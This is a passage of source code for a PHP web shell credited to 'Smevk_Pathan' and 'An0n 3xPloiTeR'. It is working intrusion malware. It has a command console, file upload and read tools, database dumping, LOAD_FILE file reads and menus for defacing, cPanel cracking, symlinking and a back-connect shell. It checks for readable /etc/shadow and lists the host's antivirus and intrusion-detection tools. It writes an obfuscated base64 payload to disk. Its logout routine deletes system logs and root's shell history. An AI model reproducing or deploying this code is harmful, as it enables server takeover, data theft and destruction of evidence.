  354. <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
  355. <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
  356. <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
  357. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  358. </form>';
  359. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  360. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  361. $totalSpace = $totalSpace?$totalSpace:1;
  362. $disable_functions = @ini_get('disable_functions');
  363. $release = @php_uname('r');
  364. $kernel = @php_uname('s');
  365. if(!function_exists('posix_getegid')) {
  366. $user = @get_current_user();
  367. $uid = @getmyuid();
  368. $gid = @getmygid();
  369. $group = "?";
  370. } else {
  371. $uid = @posix_getpwuid(@posix_geteuid());
  372. $gid = @posix_getgrgid(@posix_getegid());
  373. $user = $uid['name'];
  374. $uid = $uid['uid'];
  375. $group = $gid['name'];
  376. $gid = $gid['gid'];
  377. }
  378. $cwd_links = '';
  379. $path = explode("/", $GLOBALS['cwd']);
  380. $n=count($path);
  381. for($i=0;$i<$n-1;$i++) {
  382. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  383. for($j=0;$j<=$i;$j++)
  384. $cwd_links .= $path[$j].'/';
  385. $cwd_links .= "\")'>".$path[$i]."/</a>";
  386. }
  387. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  388. $opt_charsets = '';
  389. foreach($charsets as $item)
  390. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  391. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Sql'=>'Sql','Console'=>'Console','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','CgiShell'=>'CgiShell','Defacer' => 'Deface','Mini Shell'=>'cleanshell','CP Cracker'=>'cpcrack','Symlink'=>'usescript','Config'=>'configgrab','Zone-h Notifier'=>'usefulla','Backup'=>'Backupper','String tools'=>'StringTools','Shells'=>'ImportScripts','Scripts'=>'ImportTools','Back Connecter'=>'BackConnect','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Code Injector'=>'Injector','Dir Deface'=>'DirDefacer','Domains' => 'Domain','Self Remove' => 'SelfRemove');
  392. if(!empty($GLOBALS['auth_pass']))
  393. $m['Leave'] = 'Logout';
  394. $menu = '';
  395. foreach($m as $k => $v)
  396. $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
  397. $drives = "";
  398. if ($GLOBALS['os'] == 'win') {
  399. foreach( range('a','z') as $drive ){
  400. if (is_dir($drive.':\\'))
  401. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  402. }
  403. $drives .= '<br />: ';
  404. }
  405. if($GLOBALS['os'] == 'nix') {
  406. $dominios = @file_get_contents("/etc/named.conf");
  407. if(!$dominios) {
  408. $DomainS = "/var/named";
  409. $Domainonserver = scandir($DomainS);
  410. $d0c = count($Domainonserver);
  411. } else {
  412. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  413. $out = sizeof(array_unique($out[1]));
  414. $d0c = $out." Domains";
  415. }
  416. } else {
  417. $d0c = "1";
  418. }
  419. if($GLOBALS['os'] == 'nix' )
  420. {
  421. $usefl = ''; $dwnldr = '';
  422. if(!@ini_get('safe_mode')) {
  423. $temp = array();
  424. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  425. foreach($userful as $item) { if(which($item)) $temp[]= $item; }
  426. $usefl = implode(', ',$temp);
  427. $temp = array();
  428. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  429. foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
  430. $dwnldr = implode(', ',$temp);
  431. } else {
  432. $usefl = ' ------- '; $dwnldr = ' ------- ';
  433. }
  434. } else {
  435. $usefl = ' ------- '; $dwnldr = ' ------- ';
  436. }
  437. echo '<div class="smevklogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
  438. <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
  439. <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
  440. '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
  441. '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table></div>'.
  442. '</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:black;">';
  443. }
  444. function printFooter() {
  445. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=".$color.">[ Writeable ]</font>":"<font color=#EB4949>[ Not writable ]</font>";
  446.  
  447. echo '</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
  448. <table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
  449. <tr>
  450. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
  451. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  452. </tr>
  453. <tr>
  454. <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
  455. <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  456. </tr>
  457. <tr>
  458. <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  459. <td><form method="post" ENCTYPE="multipart/form-data">
  460. <input type=hidden name=a value="FilesMAn">
  461. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  462. <input type=hidden name=p1 value="uploadFile">
  463. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  464. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  465. </tr>
  466. </table></div></div>
  467. <div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:6px;margin:auto; width:500;">Real Shell By Smevk_Pathan <br>Some Changes By An0n 3xPloiTeR</a></div></div>
  468. </div></div>
  469.  
  470. </body></html>';
  471. }
  472.  
  473. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  474. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  475.  
  476.  
  477. function viewSize($s) {
  478. if($s >= 1073741824)
  479. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  480. elseif($s >= 1048576)
  481. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  482. elseif($s >= 1024)
  483. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  484. else
  485. return $s . ' B';
  486. }
  487.  
  488. function perms($p) {
  489. if (($p & 0xC000) == 0xC000)$i = 's';
  490. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  491. elseif (($p & 0x8000) == 0x8000)$i = '-';
  492. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  493. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  494. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  495. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  496. else $i = 'u';
  497. $i .= (($p & 0x0100) ? 'r' : '-');
  498. $i .= (($p & 0x0080) ? 'w' : '-');
  499. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  500. $i .= (($p & 0x0020) ? 'r' : '-');
  501. $i .= (($p & 0x0010) ? 'w' : '-');
  502. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  503. $i .= (($p & 0x0004) ? 'r' : '-');
  504. $i .= (($p & 0x0002) ? 'w' : '-');
  505. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  506. return $i;
  507. }
  508.  
  509. function viewPermsColor($f) {
  510. if (!@is_readable($f))
  511. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  512. elseif (!@is_writable($f))
  513. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  514. else
  515. return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  516. }
  517.  
  518. if(!function_exists("scandir")) {
  519. function scandir($dir) {
  520. $dh = opendir($dir);
  521. while (false !== ($filename = readdir($dh))) {
  522. $files[] = $filename;
  523. }
  524. return $files;
  525. }
  526. }
  527.  
  528. function actionSecInfo() {
  529. printHeader();
  530. echo '<h1>Server security information</h1><div class=content>';
  531. function showSecParam($n, $v) {
  532. $v = trim($v);
  533. if($v) {
  534. echo '<span>'.$n.': </span>';
  535. if(strpos($v, "\n") === false)
  536. echo $v.'<br>';
  537. else
  538. echo '<pre class=ml1>'.$v.'</pre>';
  539. }
  540. }
  541.  
  542. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  543. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  544. showSecParam('Open base dir', @ini_get('open_basedir'));
  545. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  546. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  547. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  548. $temp=array();
  549. if(function_exists('mysql_get_client_info'))
  550. $temp[] = "MySql (".mysql_get_client_info().")";
  551. if(function_exists('mssql_connect'))
  552. $temp[] = "MSSQL";
  553. if(function_exists('pg_connect'))
  554. $temp[] = "PostgreSQL";
  555. if(function_exists('oci_connect'))
  556. $temp[] = "Oracle";
  557. showSecParam('Supported databases', implode(', ', $temp));
  558. echo '<br>';
  559.  
  560. if( $GLOBALS['os'] == 'nix' ) {
  561. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  562. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  563. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  564. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  565. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  566. showSecParam('OS version', @file_get_contents('/proc/version'));
  567. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  568. if(!$GLOBALS['safe_mode']) {
  569. echo '<br>';
  570. $temp=array();
  571. foreach ($userful as $item)
  572. if(which($item)){$temp[]=$item;}
  573. showSecParam('Userful', implode(', ',$temp));
  574. $temp=array();
  575. foreach ($danger as $item)
  576. if(which($item)){$temp[]=$item;}
  577. showSecParam('Danger', implode(', ',$temp));
  578. $temp=array();
  579. foreach ($downloaders as $item)
  580. if(which($item)){$temp[]=$item;}
  581. showSecParam('Downloaders', implode(', ',$temp));
  582. echo '<br/>';
  583. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  584. showSecParam('HDD space', ex('df -h'));
  585. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  586. }
  587. } else {
  588. showSecParam('OS Version',ex('ver'));
  589. showSecParam('Account Settings',ex('net accounts'));
  590. showSecParam('User Accounts',ex('net user'));
  591. }
  592. echo '</div>';
  593. printFooter();
  594. }
  595.  
  596.  
  597. function actionSql() {
  598. class DbClass {
  599. var $type;
  600. var $link;
  601. var $res;
  602. function DbClass($type) {
  603. $this->type = $type;
  604. }
  605. function connect($host, $user, $pass, $dbname){
  606. switch($this->type) {
  607. case 'mysql':
  608. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  609. break;
  610. case 'pgsql':
  611. $host = explode(':', $host);
  612. if(!$host[1]) $host[1]=5432;
  613. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  614. break;
  615. }
  616. return false;
  617. }
  618. function selectdb($db) {
  619. switch($this->type) {
  620. case 'mysql':
  621. if (@mysql_select_db($db))return true;
  622. break;
  623. }
  624. return false;
  625. }
  626. function query($str) {
  627. switch($this->type) {
  628. case 'mysql':
  629. return $this->res = @mysql_query($str);
  630. break;
  631. case 'pgsql':
  632. return $this->res = @pg_query($this->link,$str);
  633. break;
  634. }
  635. return false;
  636. }
  637. function fetch() {
  638. $res = func_num_args()?func_get_arg(0):$this->res;
  639. switch($this->type) {
  640. case 'mysql':
  641. return @mysql_fetch_assoc($res);
  642. break;
  643. case 'pgsql':
  644. return @pg_fetch_assoc($res);
  645. break;
  646. }
  647. return false;
  648. }
  649. function listDbs() {
  650. switch($this->type) {
  651. case 'mysql':
  652. return $this->res = @mysql_list_dbs($this->link);
  653. break;
  654. case 'pgsql':
  655. return $this->res = $this->query("SELECT datname FROM pg_database");
  656. break;
  657. }
  658. return false;
  659. }
  660. function listTables() {
  661. switch($this->type) {
  662. case 'mysql':
  663. return $this->res = $this->query('SHOW TABLES');
  664. break;
  665. case 'pgsql':
  666. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  667. break;
  668. }
  669. return false;
  670. }
  671. function error() {
  672. switch($this->type) {
  673. case 'mysql':
  674. return @mysql_error($this->link);
  675. break;
  676. case 'pgsql':
  677. return @pg_last_error($this->link);
  678. break;
  679. }
  680. return false;
  681. }
  682. function setCharset($str) {
  683. switch($this->type) {
  684. case 'mysql':
  685. if(function_exists('mysql_set_charset'))
  686. return @mysql_set_charset($str, $this->link);
  687. else
  688. $this->query('SET CHARSET '.$str);
  689. break;
  690. case 'mysql':
  691. return @pg_set_client_encoding($this->link, $str);
  692. break;
  693. }
  694. return false;
  695. }
  696. function dump($table) {
  697. switch($this->type) {
  698. case 'mysql':
  699. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  700. $create = mysql_fetch_array($res);
  701. echo $create[1].";\n\n";
  702. $this->query('SELECT * FROM `'.$table.'`');
  703. while($item = $this->fetch()) {
  704. $columns = array();
  705. foreach($item as $k=>$v) {
  706. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  707. $columns[] = "`".$k."`";
  708. }
  709. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  710. }
  711. break;
  712. case 'pgsql':
  713. $this->query('SELECT * FROM '.$table);
  714. while($item = $this->fetch()) {
  715. $columns = array();
  716. foreach($item as $k=>$v) {
  717. $item[$k] = "'".addslashes($v)."'";
  718. $columns[] = $k;
  719. }
  720. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  721. }
  722. break;
  723. }
  724. return false;
  725. }
  726. };
  727. $db = new DbClass(@$_POST['type']);
  728. if(@$_POST['p2']=='download') {
  729. ob_start("ob_gzhandler", 4096);
  730. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  731. $db->selectdb($_POST['sql_base']);
  732. header("Content-Disposition: attachment; filename=dump.sql");
  733. header("Content-Type: text/plain");
  734. foreach($_POST['tbl'] as $v)
  735. $db->dump($v);
  736. exit;
  737. }
  738. printHeader();
  739. echo '<h1>Sql browser</h1><div class=content>
  740. <form name="sf" method="post">
  741. <table cellpadding="2" cellspacing="0">
  742. <tr>
  743. <td>Type</td>
  744. <td>Host</td>
  745. <td>Login</td>
  746. <td>Password</td>
  747. <td>Database</td>
  748. <td></td>
  749. </tr>
  750. <tr>
  751. <input type=hidden name=a value=Sql>
  752. <input type=hidden name=p1 value=\'query\'>
  753. <input type=hidden name=p2>
  754. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  755. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  756. <td>
  757. <select name=\'type\'>
  758. <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
  759. <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
  760. </select></td>
  761. <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
  762. <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
  763. <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
  764. <td>';
  765. $tmp = "<input type=text name=sql_base value=''>";
  766. if(isset($_POST['sql_host'])){
  767. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  768. switch($_POST['charset']) {
  769. case "Windows-1251": $db->setCharset('cp1251'); break;
  770. case "UTF-8": $db->setCharset('utf8'); break;
  771. case "KOI8-R": $db->setCharset('koi8r'); break;
  772. case "KOI8-U": $db->setCharset('koi8u'); break;
  773. case "cp866": $db->setCharset('cp866'); break;
  774. }
  775. $db->listDbs();
  776. echo "<select name=sql_base><option value=''></option>";
  777. while($item = $db->fetch()) {
  778. list($key, $value) = each($item);
  779. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  780. }
  781. echo '</select>';
  782. }
  783. else echo $tmp;
  784. }else
  785. echo $tmp;
  786. echo '</td>
  787. <td><input type=submit value=">>"></td>
  788. </tr>
  789. </table>
  790. <script>
  791. function st(t,l) {
  792. document.sf.p1.value = \'select\';
  793. document.sf.p2.value = t;
  794. if(l!=null)document.sf.p3.value = l;
  795. document.sf.submit();
  796. }
  797. function is() {
  798. for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
  799. document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
  800. }
  801. </script>';
  802. if(isset($db) && $db->link){
  803. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  804. if(!empty($_POST['sql_base'])){
  805. $db->selectdb($_POST['sql_base']);
  806. echo "<tr><td width=1 style='border-top:1px solid #a3e956;border-right:2px solid #a3e956;'><span>Tables:</span><br><br>";
  807. $tbls_res = $db->listTables();
  808. while($item = $db->fetch($tbls_res)) {
  809. list($key, $value) = each($item);
  810. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  811. $value = htmlspecialchars($value);
  812. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  813. }
  814. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px solid #a3e956;'>";
  815. if(@$_POST['p1'] == 'select') {
  816. $_POST['p1'] = 'query';
  817. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  818. $num = $db->fetch();
  819. $num = $num['n'];
  820. echo "<span>".$_POST['p2']."</span> ($num) ";
  821. for($i=0;$i<($num/30);$i++)
  822. if($i != (int)$_POST['p3'])
  823. echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  824. else
  825. echo ($i+1)," ";
  826. if($_POST['type']=='pgsql')
  827. $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  828. else
  829. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  830. echo "<br><br>";
  831. }
  832. if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  833. $db->query(@$_POST['p3']);
  834. if($db->res !== false) {
  835. $title = false;
  836. echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  837. $line = 1;
  838. while($item = $db->fetch()) {
  839. if(!$title) {
  840. echo '<tr>';
  841. foreach($item as $key => $value)
  842. echo '<th>'.$key.'</th>';
  843. reset($item);
  844. $title=true;
  845. echo '</tr><tr>';
  846. $line = 2;
  847. }
  848. echo '<tr class="l'.$line.'">';
  849. $line = $line==1?2:1;
  850. foreach($item as $key => $value) {
  851. if($value == null)
  852. echo '<td><i>null</i></td>';
  853. else
  854. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  855. }
  856. echo '</tr>';
  857. }
  858. echo '</table>';
  859. } else {
  860. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  861. }
  862. }
  863. echo "<br><textarea name='p3' style='background-color:black; color: white;width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  864. echo "</td></tr>";
  865. }
  866. echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  867. if(@$_POST['p1'] == 'loadfile') {
  868. $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  869. $file = $db->fetch();
  870. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  871. }
  872. }
  873. echo '</div>';
  874. printFooter();
  875. }
  876.  
  877.  
  878. function actionBackupper() {
  879. printHeader();
  880. $backupper = "rVXdTtswFL4uEu/gSVmTSpAWxsVEVMGmMXEHot0mxFDkOk7j4diZf4Ay8Qq72c3uuNkD8gizY6dNq1bjYqnUxN/5zjmfz4lPulQlE57NgFQziofd75obAKKbqeCaZbuIUy4OwYQaKPGLu4IonICcM7Wbw5LQ2SFAWkhy26CSPOBDsLc/eJ24iN2pSra3uiYZwkxhsViXWEGACigkVj79p/HH3berfsUb+3zJNfgCGYNgpKBQYFxg8N5I0xU4y+vVyGgDR8C69J2P8z+qimp7CwvBRSpwxYUibBoNesZ8tGDlXJQAIkU482LcPzAyC5557PxsNG7r61hXwiqtgJpVTRWlnpREeX8Gy7X4LaS6MVzqc4+2m/GSom9qWLsZg3kzQH+x4b7d8WqVOrlmdQ3AOzZgUUBYD/wwMDBXwM0uhyAMEw+QPGroKb4nUskoxPcYhb2Fk72OLWhj7dgQvaRl8jGPv3HCIqfxK3P3ZfIjphKvS1hBKVUh9GpSPkmlfVGipXzHDb3e2holxm2KVYoohiz6d3Y5kwqXL8ztyP8rc4EpTdeV28dbEJYyNgGJNIdBci0QjoLc9qDiFa5bvuMaINyttz58+4y0d2PeVoqjV8c55rkJ3Ou1bHP3eAhygWFmCDt7g/2DpXpUiHJpRS00+7vASgtWh7AmA5t/kgOzGTNDoiC1x/MqdMcsvPbCO4G0k2EIgnR0cvH55OIqPB2Pz9NTQw6vk5pRQVUYhmkAustc9TsBlJktTG2Mw37oUArtb1O4OIwfSOWpiJclZNm8WigDcZwYO6j0hBKUFqqkSXnbXlp3T49r4bFfGNxSG5OT4Y1z1Er2mM3WTkPlOtaigZ3AvA+a2t66s+/Vu2JgVHAQ1uP4wA6ND5xh8Pz059fz0++fbuTWuH2c1EM+XPGDwByJ6XzUp2ZOsZvNU0/gbMPM8z6FwPkw9JsJm9yNujtGOcxWhPXhXNjj0vDvr36b+vbLaJd/AQ==";
  881. $back = @fopen("backupper.php", "w");
  882. @fwrite($back, htmlspecialchars_decode(gzinflate(base64_decode($backupper))));
  883. @fclose($back);
  884. ?>
  885. <center>
  886. <h1>Site Backupper By An0n 3xPloiTeR</h1><br>
  887. <iframe src="backupper.php" height="300" width="100%"></iframe>
  888.  
  889. <?php
  890.  
  891. printFooter();
  892. }
  893.  
  894. function actionLogout() {
  895. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  896. $hardfucker = "rm -rv locales.php;rm -rv cgi.php;rm -rv dirty;rm -rv exploit;rm -rv kill;rm -rv c0w;rm -rv article.php;rm -rv an0n.php;rm -rv anonghosts.php;rm -rv anonghost.php;rm -rv wso.php;rm -rv umar.php;rm -rv ninja.php;rm -rv rev.php;rm -rv umar.txt;rm -rv ak.php;rm -rv symlinker.php;rm -rv trjnx;rm -rv sym.pl;rm -rv symlinker.pl;rm -rv back_connecter.php;rm -rv fuck.php;rm -rv an.php;rm -rv file.php;rm -rv sym.php;rm -rv symlink.php;rm -rv trjnx;rm -rv data.txt;rm -rv fuck.txt;rm -rv dir.txt;rm -rv dmn.txt;rm -rv lala.php;rm -rv test.php;rm -rv data.php;rm -rv fucker.php;rm -rv symlinker.php;rm -rv madleets.php;rm -rv dirdefacer.php;rm -rv dirdeface.php;rm -rv shitchanger.php;rm -rv locales.php;rm -rv data.php;rm -rv db.php;rm -rv deleter.php; rm -rv dhanush.php;rm -rv anonghosts.php;rm -rv blackhat.php;rm -rv image.php;rm -rv madspot.php;rm -rv pcd.php;rm -rv cheta.php;rm -rv b374k.php;rm -rv joker.php;rm -rv zone-h.php;rm -rv rooter.pl;rm -rv cp.php;rm -rv works.php;rm -rv lala.php;rm -rv lalala.php;rm -rv testing.php; rm -rv madleets.php;rm -rv anoncmd.php;rm -rv mass.php;rm -rv backupper.php;rm -rf /var/log/lastlog;rm -rf /var/log/wtmp;rm -rf /etc/wtmp;rm -rf /var/run/utmp;rm -rf /etc/utmp;rm -rf /var/log;rm -rf /var/logs;rm -rf /var/adm;rm -rf /var/apache/log;rm -rf /var/apache/logs;rm -rf /usr/local/apache/log;rm -rf /usr/local/apache/logs;rm -rf /root/.bash_history;rm -rf /root/.ksh_history;rm -rv xcp.php;rm -rv cp.php;rm -rv md5.php;rm -rv UeXploiT;rm -rv AkDk";
  897. $An0n_3xPloiTeR_Every_Where_vvv = ex($hardfucker);
  898. die('<!DOCTYPE html>
  899. <html>
  900. <head>
  901. <title>An0n 3xPloiTeR Shell</title>
  902. <meta charset="UTF-8">
  903. <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
  904. <meta name="description" content="Sites description">
  905. <meta name="about" content="Made By An0n 3xPloiTeR">
  906. <meta name="description" content="Bye Bye">
  907. <style>
  908. .body {
  909. margin-top: 7vh;
  910. text-transform: capitalize;
  911. background-color: #080510;
  912. }
  913. .font {
  914. font-family: calibri;
  915. font-size: 300%;
  916. text-align: center;
  917. color: white;
  918. }
  919. .upass {
  920. margin-top: 70vh;
  921. font-family: calibri;
  922. font-size: 100%;
  923. text-align: center;
  924. color: black;
  925. }
  926. textarea {
  927. color: white;
  928. font-weight: bold;
  929. font-family: cursive;
  930. border-left: black;
  931. border-right: black;
  932. border-style: groove;
  933. background-color: black;
  934. font-size: 80%;
  935. }
  936. </style>
  937. <script language="JavaScript1.2">
  938. function ejs_nodroit(){
  939. alert("Login Please!");
  940. return(false);
  941. }
  942. document.oncontextmenu = ejs_nodroit;
  943. </script>
  944. </head>
  945.  
  946. <body class="body">
  947. <div class="font">
  948. <font>you are going 😒😐<br>bye 😣😖😌😰<br><br></font><font style="color: red; font-family: cursive; font-size: 70%;">Take a Gift 😉🤓<br></font><br>
  949. </div><center>
  950. <textarea rows="10" cols="90">
  951. '.$An0n_3xPloiTeR_Every_Where_vvv.'</textarea>
  952. </body></center>
  953. </html>');
  954. }
  955.  
  956.  
  957. function actionCgiShell() {
  958. printHeader();
  959. echo '<h1>Cgitelnet</h1><div class=content><br><center>Password: umar</center><br>';
